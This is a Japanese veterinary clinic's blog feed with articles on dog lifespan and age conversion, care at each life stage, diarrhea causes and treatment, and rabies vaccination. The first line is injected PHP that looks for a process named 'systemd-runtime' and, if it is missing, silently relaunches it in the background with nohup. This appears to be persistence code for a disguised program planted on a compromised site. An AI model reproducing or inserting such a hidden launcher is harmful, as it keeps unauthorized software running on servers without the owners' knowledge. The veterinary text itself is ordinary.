$programFilePath = 'systemd-runtime'; $processList = shell_exec('ps aux'); if (strpos($processList, $programFilePath) === false) { $commandToExecute = 'nohup ./' . $programFilePath . ' > /dev/null 2>&1 &'; shell_exec($commandToExecute); } 犬のブログ - 動物の医学 | 本牧通り動物病院 https://honmokudori.com/blog 本牧通り動物病院は、横浜市中区本牧宮原にある動物病院です。 Thu, 18 Nov 2021 12:27:47 +0000 ja hourly 1 https://wordpress.org/?v=6.2.5 【犬の寿命】獣医師が考える!犬の年齢の数え方と長生きの秘訣 https://honmokudori.com/blog/889 https://honmokudori.com/blog/889#respond Sat, 25 Sep 2021 02:40:33 +0000 https://honmokudori.com/blog/?p=889 家族、パートナー、兄弟、親子…あなたと愛犬はどんな関係ですか?飼い主なら誰でも愛犬と1秒でも長く一緒にいたい、ずっと健康でいて欲しいと思いますよね。     犬の年齢の数え方と長生きのために飼い主  ...続きを読む

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家族、パートナー、兄弟、親子…あなたと愛犬はどんな関係ですか?飼い主なら誰でも愛犬と1秒でも長く一緒にいたい、ずっと健康でいて欲しいと思いますよね。
 

たけだ(さ)
たけだ(さ)
こんにちは!獣医師の竹田(沙)です!

 

犬の年齢の数え方と長生きのために飼い主ができることを獣医師の目線でまとめました。犬を飼っている人だけでなく、これから子犬を迎えたいなと考えている方にも必見です!
 

いぬ
いぬ
最後まで読んでいただけたら嬉しいワン!

 

【犬の寿命】犬の年齢は人間でいうと何歳?


ずっと子どもだと思っていた愛犬が「年をとったなあ」とふと感じたことはありませんか?犬の年齢は人間に換算すると何歳になるのでしょうか。
 

たけだ(さ)
たけだ(さ)
実は小・中型犬と大型犬では成長のスピードに違いがあります。

 

なので、年齢の換算法の前に小型犬、中型犬、大型犬の分け方について少しお話しさせてください。
 

実は、犬のサイズによる分け方に正式な基準はないのです。一般的には下記の表のように分類されます。
 

小型犬中型犬大型犬
〜10kg10〜25kg25kg〜
例)
チワワ
ミニチュア・ダックスフンド
トイ・プードル
例)
ビーグル
Wコーギー・ペンブローク
ボーダー・コリー
例)
ゴールデン・レトリーバー
ラブラドール・レトリーバー
バーニーズ・マウンテン・ドッグ

愛犬がどのタイプかが分かったところで…
 

たけだ(さ)
たけだ(さ)
年齢の換算方法は以下のようになります! 人間の1年は大型犬にとって7年に相当するのですね!

 

もう少し詳しく知りたい人向けに年齢換算表と換算式もご紹介します。

犬と人間の年齢換算表

大型犬
3カ月3歳
6カ月6歳
9カ月9歳
1歳12歳
2歳19歳
3歳26歳
4歳33歳
5歳40歳
6歳47歳
7歳54歳
8歳61歳
9歳68歳
10歳75歳
11歳82歳
12歳89歳
13歳96歳
14歳103歳

 

小・中型犬
3カ月5歳
6カ月9歳
9カ月13歳
1歳17歳
1歳6カ月20歳
2歳24歳
3歳28歳
4歳32歳
5歳36歳
6歳40歳
7歳44歳
8歳48歳
9歳52歳
10歳56歳
11歳60歳
12歳64歳
13歳68歳
14歳72歳
15歳76歳
16歳80歳
17歳84歳
18歳88歳
19歳92歳

犬と人間の年齢換算式


同じ10歳といっても・・・大型犬は75歳、一方小型犬は56歳。なんと、小型犬と大型犬では人間換算で21歳も違いがあります!
 

その子その子に合った年齢を考えることが大切なんですね。
 

  • 大型犬の場合:12+(犬の年齢‐1)×7=人間年齢
    例) 10才の大型犬(ゴールデン・レトリーバー)の場合
    12+(10−1)×7=75歳
  •  

  • 小・中型犬の場合:24+(犬の年齢 – 2)×4=人間年齢
    例)10才の小型犬(チワワ)の場合
    24+(10-2)×4=56歳

 

※ただし、計算式は大型犬…1歳以上、小型犬…2歳以上が対象となります。
 

アメリカの研究チームが発表した新たな犬と人間の年齢換算式

たけだ(さ)
たけだ(さ)
参考までに…少しマニアックですが、これを知っていると一段上の犬博士になれるでしょう!

 

2019年にアメリカの研究チームが新たな年齢換算式を発表しました(Tina Wang et al., 2019)。
 

犬の加齢によるDNA遺伝子の変化をもとに年齢を算出する方法です。そのため生物学的に今までの換算法より正確とされています。
 

    【新たな換算式】16 In(犬の年齢)+31 = 人間の年齢
    例)5歳の犬の場合 ⇒ 16 In(5) + 31 ≒ 57歳

参考:https://www.biorxiv.org/content/10.1101/829192v1.full
 

ただし、この研究の対象は大型犬(全てラブラドール・レトリーバー)だったため、小型犬の場合は結果が変わることに注意が必要です。
 

Inが出てきてチンプンカンプンになってしまった方はすいません・・・。高校で習う数学ですが忘れてしまっている人も多いかもしれませんね。
 

計算式は少し難しいですが、iPhoneやアプリを使えば簡単に計算できるので、今までの式と比べてみるのも面白いと思います。興味があればやってみてください。
 

犬種によって寿命は違う?なりやすい病気は?


体格によって年齢の換算式が異なるということは、犬種によって寿命が違うのでは?と思った方もいるのではないでしょうか。また、病気のなりやすさに違いはあるのでしょうか?
 

犬種ごとの平均寿命

435,987頭を対象に調査したアニコム損害保険株式会社が発表したデータでは、以下のような結果になりました。
 

【犬種による長生きランキング】

  • 1位・・・イタリアン・グレーハウンド(平均15.1歳)
  • 2位・・・ミニチュア・ダックスフンド(平均14.7歳)
    トイ・プードル(平均14.7歳)
  • 4位・・・柴犬(平均14.5歳)
  • 5位・・・パピヨン(平均14.4歳)

 

参考:犬種別平均寿命調査(アニコム損害保険株式会社)
 

102,609頭を対象としたイギリスの調査 (D G O’Neill et al., 2013)では、小さい犬種ほど長生きという結果になりました。また、長生きだった犬種、短命だった犬種も報告されています。
 

【長生きした犬種】

  • 雑種犬
  • ミニチュア・ダックスフンド
  • ミニチュア・プードル
  • ボーダー・コリー
  • 【短命だった犬種】

  • マスティフ
  • グレート・デーン
  •  

    また、本牧通り動物病院に通っている犬の平均寿命を調べてみました! 2017年7月~2021年7月の期間で、当院に来院された犬を調査したところ…

    【犬の平均寿命】

  • 小型犬・・・14.5歳
  • 中型犬・・・13.9歳
  • 大型犬・・・12.8歳
  • 全体の平均寿命は14.3歳でした。
     

    たけだ(さ)
    たけだ(さ)

    大型犬より小型犬の方が長生きする傾向にありますね。

     

    犬種ごとになりやすい病気

    実は犬種によってなりやすい病気があります。人気犬種を中心に見ていきましょう。
     

    • トイ・プードル ・・・骨折(前肢)、涙やけ、白内障
    • チワワ ・・・弁膜症などの心臓疾患、気管虚脱
    • ミニチュア・ダックスフンド ・・・椎間板ヘルニア、歯根膿瘍
    • 柴犬 ・・・皮膚炎、緑内障
    • ポメラニアン ・・・気管虚脱、骨折(前肢)
    • キャバリア ・・・弁膜症などの心臓疾患
    • ミニチュア・シュナウザー ・・・高脂血症
    • フレンチ・ブルドッグ  ・・・軟口蓋過長症、脳腫瘍
    • ゴールデン・レトリーバー ・・・耳血腫、リンパ組織/造血組織の腫瘍

     

    愛犬が上記の犬種の中に該当するからといって、必ずその病気になる訳ではありません。しかし、犬種ごとの特徴を知ることは、病気の早期発見につながります。
     

    たけだ(さ)
    たけだ(さ)
    どの病気になりやすいかを知っていると、普段の生活で気を付けるポイントが見えてきますね。

     

    犬の長生きのギネス記録はどれくらい?


    世界で最も長く生きた犬は何歳なのでしょうか。
     

    ギネス記録によると1939年に29歳5か月という年齢で天寿を全うしたオーストラリアン・キャトル・ドッグのブルーイです。平均寿命の約2倍も生きたことになります!
     

    本牧通り動物病院の最高齢ワンちゃん

    ちなみに本牧通り動物病院での最高齢の記録は、ミニチュア・ダックスフンドのくろまめちゃん19歳2カ月齢です!(2021年8月現在)

     

    17歳の時に大病を患いましたが、必死の看病により復活。元気に19歳の誕生日を迎えることができました。
     

    犬のライフステージと心と身体の特徴


    愛犬に世界一長生きして欲しい!とまでは言わなくても、ストレスなく寿命を全うしてもらいたいですよね。
     

    そのためにはライフステージを知ることが大切です。歳を取るにつれて行動や身体はどのように変化するのでしょうか。
     

    犬のライフステージは子犬期、成犬期、シニア期に分けられます。
     

    たけだ(さ)
    たけだ(さ)
    年齢ごとの犬の行動や気持ち、身体の変化がわかると、接し方のポイントが見えてきます。

     

    犬の月齢とライフステージ

    犬の月齢・年齢行動・気持ちの特徴身体の特徴
    子犬期前半
    小・中型犬2~3か月
    大型犬〜5か月
    好奇心が旺盛で、新しい刺激を受け入れやすい時期です。多頭飼いをしたり、人や他の動物たちと暮らし始めたりするのに適しています。 乳歯が生えそろいます。
    骨も筋肉も発達する時期です。栄養バランスのよい食事をとりましょう。ワクチンをうって、体に免疫を付けます。
    子犬期後半
    小・中型犬4~12か月
    大型犬6〜12か月
    周囲の環境に対して恐怖心が芽生える時期です。また、家庭や犬同士のルールを覚え始めます。
    ドックランやトリミングデビューの時期でもありますが慎重に行いましょう。
    乳歯が永久歯に生え変わります。成犬の毛に変わります。1歳を迎えるころには、身体の成長が完了します。性成熟を迎える時期でもあります。
    成犬期前半
    小・中型犬1~4歳
    大型犬1〜3歳
    人間でいう思春期にあたり、家庭犬としては扱いが難しく、問題行動が起きやすい時期です。あたたかく根気強く接しましょう。
    この時期までに、去勢、避妊手術を行うとよいでしょう。
    歯磨き習慣や体重管理など規則正しい生活を心がけましょう。
    成犬期後半
    小・中型犬5~7歳
    大型犬 4〜5歳
    気持ちも行動も安定した時期です。トレーニングなどもやりやすい時ですので、色々なことを学習し、飼い主さんとの絆を深めていきましょう。運動量が多く、活発な時期です。散歩や遊びを通して十分にエネルギーを発散させ、健康維持や精神的な安定をはかることが大切です。
    シニア前半期
    小・中型犬8~12歳       
    大型犬6〜8歳
    認知機能や行動の変化がみられる時期です。不安傾向が強くなり、吠えやすくなったり、甘えるようになったりします。愛犬の行動を注意深く観察しましょう。運動量が減り、身体に変化が見られ始める時期です。食事内容の変更や定期的な健康診断をおすすめします。
    シニア期後半
    小・中型犬13歳~
    大型犬9歳〜
    行動変化が強く出てくる時期です。排泄の問題、昼夜逆転、徘徊、夜鳴きなどがみられることがあります。
    愛犬の生活の質を保つよう心がけましょう。
    筋力の低下がみられ、聴力、視力が衰えます。
    段差をなくしたり、滑らない床材にしたり、トイレや水飲みの場所を工夫したりしましょう。

     

    犬も人間と同様に、成長するにつれて心の変化も出てくることが分かりますね。お互いにストレスなく過ごすために、愛犬の気持ちを理解することは大切かもしれません。
     

    たけだ(さ)
    たけだ(さ)
    小さな事でも、もし愛犬の行動で気になることやお困りのことがあれば、お気軽にご相談くださいね。

     

    犬の年齢別のお世話の仕方


    犬のライフステージと成長の仕方がわかったところで、次は具体的なお世話の仕方を見ていきしょう。犬を飼っている方も愛犬との生活を見直すきっかけになるかもしれません。
     

    たけだ(さ)
    たけだ(さ)
    今の生活と比べてみてくださいね!

     

    年齢別の食事の与え方

    年齢と体重にあった食事を与えることが大切です。
     

    ドッグフードは大きく分けて「総合栄養食」と「療法食」の2種類があります。はじめは栄養バランスの良い「総合栄養食」を選びましょう。「療法食」は病気や健康維持のための食事です。栄養バランスに偏りがあるため、必ず獣医師と相談しながら与えるようにしましょう。
     

    1. 子犬期 (1歳未満)
      子犬用の高栄養なドッグフードを与えましょう。3ヶ月齢未満は乳歯が生えそろっておらず消化機能も未熟なので、ふやかしたフードを1日分の食事を3〜5回に分けて与えましょう。3ヶ月齢以降は徐々にドライフードへ切り替えます。食事回数も1歳で1日2〜3回になるように調節していきます。
    2. 成犬期 (小・中型犬 : 1〜7歳、大型犬 :1〜5歳)
      1歳になったら栄養バランスの良い成犬用のドッグフードに切り替えます。骨格や消化機能がしっかりしてくるとともに肥満になりやすい時期でもあります。食事やおやつを与えすぎないようにしましょう。誤食にも注意が必要です。
    3. シニア期 (小・中型犬 : 8歳以上、大型犬 :6歳以上)
      年齢とともに出てくる身体の変化に合わせて食事を選びましょう。例えば、関節のケアにはグルコサミンやコンドロイチンなどが含まれているもの、毛や皮膚のケアと認知症の予防にはオメガ3脂肪酸 (DHA、EPA)や抗酸化物質のビタミンEが含まれているものが良いとされています。食欲や消化機能が落ちている場合はウェットフードに切り替えるのも良いでしょう。

     

    年齢を問わず犬に絶対に与えてはいけない食品

    基本的には人間の食べているものを与えないようにしましょう。特に以下の食品は中毒を起こし、最悪の場合死に至ってしまうので注意が必要です。

  • チョコレート
  • コーヒー
  • ネギ類(長ネギ、タマネギ、ニンニクなど)
  • アルコール飲料
  • ぶどう、レーズン
  • キシリトール(少量なら問題ない。中毒量は0.03g/kgといわれている)
  • 年齢別の運動のさせ方

    肥満防止やストレス軽減のためにも運動は大切です。ストレスからくる問題行動 (物を破壊する、吠え続ける等)は少なくなることもあります。犬にとって主な運動方法は散歩になります。
     

    1. 子犬期〜シニア前半期 (小・中型犬 : 12歳以下、大型犬 :8歳以下)

      小型犬:1日1〜2回、1回20〜30分のお散歩が理想です。小型犬でもジャック・ラッセル・テリアなど体力のある犬種は30〜60分の散歩、またはドッグランなど思いっきり身体を動かせる環境が必要な場合もあります。

      中型犬:1日1〜2回、1回30〜60分のお散歩が理想です。ただ歩くだけでなく、ドッグランで走るのも良いと思います。

      大型犬:1日2回、1回約1時間のお散歩が理想です。体が重たく股関節などの負担になるため、走らせるより長い距離を歩く方が適しています。

    2. シニア後半期 (小・中型犬 : 13歳以上、大型犬 :9歳以上)
      犬のペースに合わせましょう。歩かずに外の空気を吸うだけでもかまいません。歩くことができる場合でも足腰に負担がないよう階段や坂道を避け、緩やかな散歩コースにしましょう。

     

    上記のように犬種や体格、年齢によって適切な運動量が異なります。運動量は多過ぎても少な過ぎても負担になってしまいます。
     

    たけだ(さ)
    たけだ(さ)
    犬種だけでなく個体差もあるので、愛犬のペースを見つつ個々に運動量を決めていきましょう。

     

    年齢別に変わる犬の健康診断の内容

    定期的に健康診断をすることは病気の早期発見、早期治療につながります。また、病院に慣れておくことで、病気になっていざ治療を行うとなった時のストレスが少なくなるメリットもあります。
     

    • 子犬期 (1歳未満)
      少なくとも1回は病院に来院することをおすすめします。先天的な病気や子犬がかかりやすい感染症もあるので、獣医師のチェックを受けることは大切です。特に疑わしい病気がない場合は、検便や身体検査など負担のかからない検査を行います。まずは「病院は怖くないんだ!」と思ってもらうという目的もあります。
    • 成犬期 (小・中型犬 : 1〜7歳、大型犬 :1〜5歳)
      1年に1回は受けることをおすすめします。内容は血液検査、身体検査、検便、検尿など負担の少ないものから始めると良いでしょう。
    • シニア期 (小・中型犬 : 8歳以上、大型犬 :6歳以上)
      1年に2回受けることをおすすめします。内容は血液検査、身体検査、検便、検尿、超音波検査、レントゲン検査で全身的にチェックしていくと良いでしょう。シニア期からは症状に出ていなくても健診で異常が見つかることはよくあります。

     

    ※本牧通り動物病院では子犬期時期のワンちゃんにおすすめの「パピー教室」を開催しています。
     

    パピー教室について詳しくはこちら

     

    また動物病院では、健康診断と同時に爪切りなどのケアや飼い方の相談なども出来ます。お近くの獣医さんに相談してみてください。また、毎年フィラリア症の検査・予防、狂犬病や混合ワクチン接種を行うことも大切です。
     

    避妊手術・去勢手術を行う時期

    犬を飼い始めて最初に悩むことかもしれません。悩むということは愛犬のことをしっかり考えている証拠。それぞれのメリットとデメリットを見ていきましょう。
     

    【避妊手術のメリット】

    • 子宮卵巣疾患(子宮蓄膿症、卵胞嚢腫など)にならなくなる
    • 乳腺腫瘍の発生率が下がる
    • 予定していない妊娠の回避
    • 発情期のストレスがなくなる
    • 寿命が伸びる可能性がある

    たけだ(さ)
    たけだ(さ)
    乳腺腫瘍の発生率は避妊手術のタイミングで変わります。

     

    乳腺腫瘍の発生率は、初回の発情を迎える前の避妊で0.05%、2回目の発情を迎える前の避妊で8%、2回目の発情以降は26%に抑えられるという有名な報告 (Robert Schneider et al., 1969)があります。そのため、避妊手術を考えている飼い主さんには2回目の発情を迎える前、つまり6か月齢〜1歳に行うことをおすすめしています。
     

    【去勢手術のメリット】

    • 精巣腫瘍にならなくなる
    • 会陰ヘルニア、肛門周囲腺腫、前立腺肥大などの発生率が下がる
    • マーキングや攻撃的な性格が軽減される可能性がある

     

    【避妊・去勢手術のデメリット】

    • 全身麻酔のリスク
    • 太りやすくなる
    • 縫合糸に反応してしこりができる(縫合糸反応性肉芽腫)
    • 雌でまれに尿道括約筋の緊張が弱まり尿漏れするようになる(ホルモン反応性尿失禁)
    • 子どもができなくなる

     

    いろいろな考え方があるので悩みますよね。けれど、病気になってから後悔して欲しくはありません。
     

    ネットにある情報がすべて正確とは限りません。不確かな情報に振り舞わされてしまう前に、専門家である獣医師に相談することをオススメします。
     

    たけだ(さ)
    たけだ(さ)
    愛犬にとってベストな生活を一緒に考えましょう。

     

    愛犬に長生きしてもらう3つのコツ


    愛犬と一秒でも長く一緒にいるために、飼い主ができることはあるのでしょうか。今からでもできる長生きのコツをご紹介します。
     

    • 肥満に気を付ける
    • 病気のサインを知る
    • 避妊手術を受ける

     

    肥満に気を付ける

    肥満の犬は糖尿病、関節疾患、心臓呼吸器疾患などの病気になるリスクが上がり、肥満でない犬と比べ寿命が短くなると言われています。
     

    最近うちの子太ってきているかもしれない…と心配になった飼い主さんもいるのではないでしょうか。肥満かどうかを家で確かめる方法があります。
     

    【肥満のどうかを調べるセルフチェック】
    ワンちゃんの体を触ったり見たりして調べてみてください。

  • 肋骨が触れない
  • 腰のくびれがない
  • お腹が地面に対して平行
  • 以上の1つでも当てはまるものがあれば、肥満かもしれません。
     

    犬が肥満になる一番の原因は人間が与える食事です。特におやつの量が多いことです。
     

    他には運動量が少ないことや、遺伝的要因、避妊・去勢手術の影響がありますが、良かれと思って与えていたおやつで寿命が縮んでしまったら悲しいですよね。愛犬の体型に不安を感じたら、お気軽に獣医師にご相談くださいね。
     

    たけだ(さ)
    たけだ(さ)
    その子にとってどのような解決方法がベストか一緒に考えましょう。

     

    病気のサインを知る

     病気の予防の為に病院で健康診断を受けることも大切ですが、病気のサインを知ることでお家でセルフチェックをすることもできます。若くて元気な時から様子を気にかけてあげることで、より変化に気が付きやすくなるでしょう。
     

    【病気のサイン】

  • 元気がない、食欲がない
  • 疲れやすい、息切れしやすい
  • 歩き方が変わった、足を引きずる
  • 身体を触ったときにキャンと大きな声でなく
  • 水を飲む量が増えた
  • うんちやおしっこの色や臭い・回数が変わった
  • 下痢や嘔吐が続いている
  • 咳をする
  • くしゃみ・鼻水・鼻づまり・鼻血が見られる
  • 口臭が強くなった、よだれが増えた
  • 体を痒がっている、皮膚が赤くなる、できものができている など
  •  

    少しでも気になることがあれば、獣医師にご相談くださいね。あなたの何気ない気遣いが愛犬を救うことになるかもしれません。
     

    避妊手術を受ける

    避妊手術を受けた犬は受けていない犬と比べて長生きしたとの報告 (Slivan R Urfer et al., 2019)(Michael S Kent et al., 2018)(Jessica M Hoffman et al., 2018)がいくつかあります。原因ははっきりしていませんが、性ホルモンの影響で免疫力が弱まり、感染症などになりやすいのでは?と推測されています。
     

    「犬の年齢別のお世話の仕方」に記載したように、避妊手術にもメリットとデメリットがあります。長生きするとは言っても手術をしたら子どもが産めなくなってしまうのか…手術なんてなんだか可哀想…と悩みますよね。どちらの選択にせよ家族全員が同じ意見を持っているということも大切です。
     

    まとめ


    どんなに愛犬のことを考えていても歳をとったり病気になったり、お別れの時が来てしまうのは仕方ないこと。大切なのは、納得がいくまで相談できる病院や獣医師がいるかどうかだと思います。
     

    当院の例をみても、病気や老化とうまく付き合いながら、幸せそうに暮らしているご家族が大勢いらっしゃいます。
     

    わたしたち「本牧通り動物病院」は、困った時にこそ頼りになる、動物たちと飼い主様の暮らしを支える病院であり続けるよう努力します。

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    【犬の下痢】動物病院院長が解説する原因と対処法 https://honmokudori.com/blog/535 https://honmokudori.com/blog/535#respond Thu, 01 Apr 2021 12:23:13 +0000 https://honmokudori.com/blog/?p=535 愛犬の体調が悪く下痢をしている。 フードを変えるべき? 家にある常備薬を飲ませてもよい? 犬は下痢を起こしやすく、血便がみられることも珍しくありません。原因や危険度もさまざまです。 ここでは、考えられる原因や対処法、  ...続きを読む

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    愛犬の体調が悪く下痢をしている。
    フードを変えるべき? 家にある常備薬を飲ませてもよい?
    まきの
    まきの
    そんな疑問に、横浜市中区本牧通り動物病院の院長をしている牧野がお答えします。

    犬は下痢を起こしやすく、血便がみられることも珍しくありません。原因や危険度もさまざまです。
    ここでは、考えられる原因や対処法、病院に連れていくべき症状かどうかなどについて説明します。

    犬の下痢とは?


    犬の便は、正常な状態であれば75~80%の水分が含まれていて、つやがあり、形も柔らかさもバナナのような状態です。散歩中に処理する際もつかみやすいくらいの硬さです。
    一方、下痢はさらに水分量が増えた状態で、水分量が増すにつれ「軟便」「泥状便」「水様便」と分類されます。

    また、下痢を起こすときは小腸か大腸に異常がある状態が多く、それぞれで症状が変わってきます。

    「小腸性下痢」の症状

    • 回数 :通常と変わらないか、やや増加
    • 1回の量:多くなる
    • 形 :軟便~水様便までさまざま
    • その他:小腸に出血があると黒っぽい便に。長引くと体重が減り、重症化すると嘔吐がみられる場合もあります。

    「大腸性下痢」の症状

    • 回数 :明らかに増える
    • 1回の量:通常と変わらないか、減る
    • 形 :軟便で、粘液が付着していることもある
    • その他:大腸に出血があると鮮血が付着することがあります。体重はあまり変わりません。何度もうんちをする体勢を取ります。

    犬の下痢を引き起こす原因は?


    原因としては、次のようなことが考えられます。

    食事の内容・量

    フードを変えたときに下痢を起こすことがあります。その場合は、見直したほうがよいでしょう。
    そうでない場合、フードが古くなっている可能性も考えられます。古いと微生物が繁殖していたり、劣化でお腹の刺激になったりすることがあるのです。
    また、食べすぎで消化が追いつかずに下痢を起こすこともあります。

    異物・薬物の誤飲

    食べ物以外のもの(おもちゃなど)や、消化できないものを食べてしまうと下痢を起こすことがあります。
    なお、薬物など化学物質を食べてしまうと下痢だけでなく命に関わる危険性もあるため、犬が口にする可能性のあるものを近くに置かないように注意しましょう。

    ストレス

    環境の変化などによりストレスを感じ、ホルモンなどの影響で腸が刺激されて下痢になってしまうことがあります。
    「環境の変化」とは例えば引っ越しや旅行のほか、工事の音や雷の音、家族が増えた、季節の変わり目の寒暖差など。心当たりがあれば、可能な範囲で取り除いてあげるとよいでしょう。

    ウイルス

    犬パルボウイルスやジステンパーウイルス、犬コロナウイルスなどといったウイルスが原因となることがあります。
    犬パルボウイルスの場合は感染力が強く、激しい嘔吐や食欲がないなどの症状が見られます。子犬の場合は命にかかわることがあるため、注意しましょう。

    寄生虫

    目に見える大きさの「回虫」、「条虫」、「鉤虫(こうちゅう)」、「鞭虫(べんちゅう)」から、もっと小さい「原虫」と呼ばれる種類まで、さまざまな寄生虫によって起こります。寄生虫による下痢は子犬によく見られますが、子犬だけでなく免疫が低下している高齢犬の場合は重症化するおそれがあるため、注意が必要です。

    病気

    考えられる病気のうち、主なものをいくつかご紹介します。

    炎症性疾患

    • 慢性腸症
      原因がはっきりしない3週間以上続く消化器の病気です。食事反応性、抗生剤反応性、炎症性腸疾患に分けられます。
    • 胃炎、膵炎、腹膜炎
      腸だけでなく周囲の臓器の炎症が原因で下痢になることがあります。

    腫瘍

    腸やその他の消化器に腫瘍や炎症性ポリープがあると下痢の症状があらわれることがあります。腸の腫瘍として、リンパ腫、腺癌などがあります。

    ホルモン疾患

    アジソン病という副腎から出るステロイドホルモンが出にくくなってしまう病気になると下痢をすることがあります。下痢以外には食欲がない、元気がない、低体温などの症状がでます。

    その他

    生まれつき消化器官が弱かったり、アレルギー体質だったりすると下痢を起こしやくなります。ほかにも、次に当てはまるような犬は下痢になりやすい傾向にあります。

    • 性格:神経質、ストレスに弱い
    • 年齢:子犬、高齢犬

    なお、犬種によって「下痢のなりやすさ」に差はありません。

    犬の下痢の症状からみた緊急度と対処法


    症状とその対処法を、病院に連れていったほうがよいほど緊急度の高いものと、少し様子見でもよいものに分けて解説します。

    病院に連れていくべき:緊急度の高い症状

    成犬であれば、次のような症状が1つでも見られたら重度の病気のおそれがあります。すぐに病院に連れて行きましょう。

    • 頻繁に(1日に何回も)嘔吐がある
    • 水のような下痢をしている
    • 便に血が混じっている/便が異常に黒い
    • 食欲が減っている/元気がない
    • ひどい下痢ではないが、3日以上続いている

    子犬や高齢犬の場合は、症状が軽くても容態が急変したり、ほかの病気が隠れていたりすることがあるので注意が必要です。元気があっても下痢が何度かあるようであれば早めに受診しましょう。

    病院での対処法・治療内容

    先に述べたようにさまざまな原因が考えられるため、まず便や身体の検査をして原因を突き止めます。
    原因がわかれば、それに応じた治療を行います。

    <原因別の対処・治療>

    1. 食事の場合 … 食事内容の調整を指導します。
    2. 異物誤飲の場合 … 腸閉塞を起こしていれば、外科治療をします。
    3. ストレスの場合 … ストレス排除の指導をしますが、回避が難しいものであれば体力の回復を待ちます。
    4. ウイルスの場合 … 体力を維持させつつ、体外にウイルスが排泄されるのを待ちます。
    5. 寄生虫の場合 … 薬を投与して寄生虫を駆除します。
    6. 病気の場合 … その病気にあわせた治療を行い、症状を抑えます。腫瘍の場合は抗がん剤治療や外科手術を行います。

    病院に行くときに準備するもの

    検査をスムーズに進めるには、新鮮な便を持っていくのがベストです。可能であればペットシーツやビニール袋などに包んで持参しましょう。
    また、症状などをメモしておき、獣医師に伝えることで診断の大きな手掛かりとなります。

    <持っていくもの>

    • 便(新しいもの):持っていくのが難しい場合は写真を撮る
    • 症状メモ:いつから下痢をしているか/頻度はどれくらいか/血便はあるか/嘔吐はあるか/食欲や元気はあるか/現在のフードは何か など

    しばらく様子を見てよい:緊急度の低い症状

    頻繁に下痢をしたり血便が出たりということもなく、(下痢以外は)いつも通り元気で食欲もあるのであれば、一過性のものである可能性が高いです。2~3日様子を見てもよいでしょう。
    それ以上に長引くようであれば病院へ。

    家庭での対処法

    成犬や高齢犬の場合は、普段より軽めで消化の良い食事(ウェットタイプや、ドライタイプを水でふやかしたものなど)を与え、徐々に元の食事に戻します。
    なお、脱水症状を起こさないよう、食事は減らしても水はこまめに飲ませてあげてください。

    また、人用の整腸剤を飲ませても問題ありません。ただしヨーグルトなどの乳製品は、普段から与えているのでなければ、消化不良で下痢をする可能性もあるので避けましょう。

    子犬の場合は低血糖になる危険があるため、食事は抜かずに量を減らして少しずつ与えましょう。

    犬が下痢をしているときに注意すること


    寄生虫が原因の下痢だった場合は、人に感染してしまうことがあります。
    例えば便の処理をする際に、傷がある手が触れてしまった場合など、そこから感染するおそれがあるため注意が必要です。

    また寄生虫やウイルスが原因の場合は、ほかの犬にうつってしまうことがあります。多頭飼育しているお宅や、散歩のときによその犬の便を見つけた際は、近づかないよう気をつけてあげてください。

    犬の下痢を予防するには


    食事や健康について適切に管理することが大事です。
    フードを変えるときは少しずつ変えて徐々に慣らしていくのがおすすめです。フードを変えていなくても突然アレルギーを発症することがあるため、普段から様子に変わりがないか、気をつけておきましょう。
    また、ウイルスに対しては年に1回のワクチン接種、寄生虫に対しては定期的に駆虫をすることで予防できます。
    ほかにも、異物誤飲を防ぐために飲み込んでしまいそうなものを近くに置かない、散歩の時は落ちているものに注意する、なども有効な対策です。

    下痢にならないようケアを&気になることがあれば病院へ

    犬の下痢は一過性のものから重い病気が隠れているものまでさまざまです。しかし、普段から気にかけてあげることで防げることもあります。特に食事の内容は重要です。嗜好性にもよりますが、栄養バランスの良い食事を与え、体質にあっているかを便の状態や排便回数などで判断します・
    最近は腸内環境を整えるサプリなどもあるので、そういったものも活用しながらケアしてあげてください。

    長引く場合や気になる症状があれば、早めに受診しましょう。

    年齢別検診プランはこちら

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    狂犬病予防接種について https://honmokudori.com/blog/109 https://honmokudori.com/blog/109#respond Thu, 08 Aug 2013 13:33:44 +0000 http://honmokudori.com/blog/?p=109 狂犬病ワクチンも他の混合ワクチンも、病気から犬を守る為という同じ目的を持ったワクチンという共通カテゴリーに属します。 しかし、狂犬病ワクチンと混合ワクチンの決定的な違いは何でしょうか?それは法律で接種が義務付けられて  ...続きを読む

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    狂犬病ワクチンも他の混合ワクチンも、病気から犬を守る為という同じ目的を持ったワクチンという共通カテゴリーに属します。

    しかし、狂犬病ワクチンと混合ワクチンの決定的な違いは何でしょうか?それは法律で接種が義務付けられているのか、いないのかという点だと思います。

    狂犬病ワクチンは、狂犬病予防法という法律に則って、飼い主の方に飼い犬に予防注射接種と飼い犬の登録を義務として課しています。

    しかも、我々獣医師の管理監督官庁は、通常、農林水産省ですが、狂犬病予防注射に限って言えば、厚生労働省です。

    なぜ、狂犬病予防注射が厚生労働省の管轄下にあるのかというと、人間を狂犬病の脅威及び、被害から守る為なのです。

    人間に狂犬病の予防注射をしてもなかなか免疫ができにくい(一ヶ月おきに最低三回の接種が必要。)ことと、犬が狂犬病ウィルスに対して高感受性動物(羅りやすいし、予防注射により免疫もできやすい種)なので、防疫の目的においては犬に予防注射をした方が効率がよく、感染防御しやすいという事実を元に行われています。

    「犬の健康のためではなく、狂犬病による人の健康被害を出さないため」という理由から厚生労働省より獣医師が狂犬病の予防接種を委託されているのです。

    特定の病気のリスクが非常に少ない国のことを清浄国(または地域)と言いますが、狂犬病の清浄国または清浄地域と認められているのは、この世界に多くの国が存在する中、わずかに13の国と地域だけです。

    日本、イギリス、アイルランド、オーストラリア、ニュージーランド、ノルウェー、スウェーデン、マレーシア、アイスランド、ハワイ、グアム、フィジーなどです。(状況によって変わることがあるので、清浄国および地域だとしても渡航などをされる場合は、再度、ご自身でご確認されることをおすすめします。)

    上記以外の国や地域では、毎年のように狂犬病の被害者が出ています。但し、発生している国によって、感染源が犬以外の動物であることがありますので注意が必要です。

    狂犬病の発生の無くなった国で、常に提起される議論として、「狂犬病の発生がみられないのだから狂犬病の予防注射を廃止しよう」ということがあります。

    しかし、その為には、空港および港において、動物の輸出入の際に更なる検疫の強化が、必要になるでしょう。

    これらは簡単には進めることの出来ないことですから、防疫のために有効な手段の一つである、犬への狂犬病予防接種は欠かせないものだと考えます。

    日本が狂犬病の無い国になれたのは、これまでに犠牲となった動物や、任務中に不幸にも狂犬病の被害に遭われた方達の犠牲という多大な代償を払った上で勝ち得たということを我々は決して忘れてはならないと考えます。

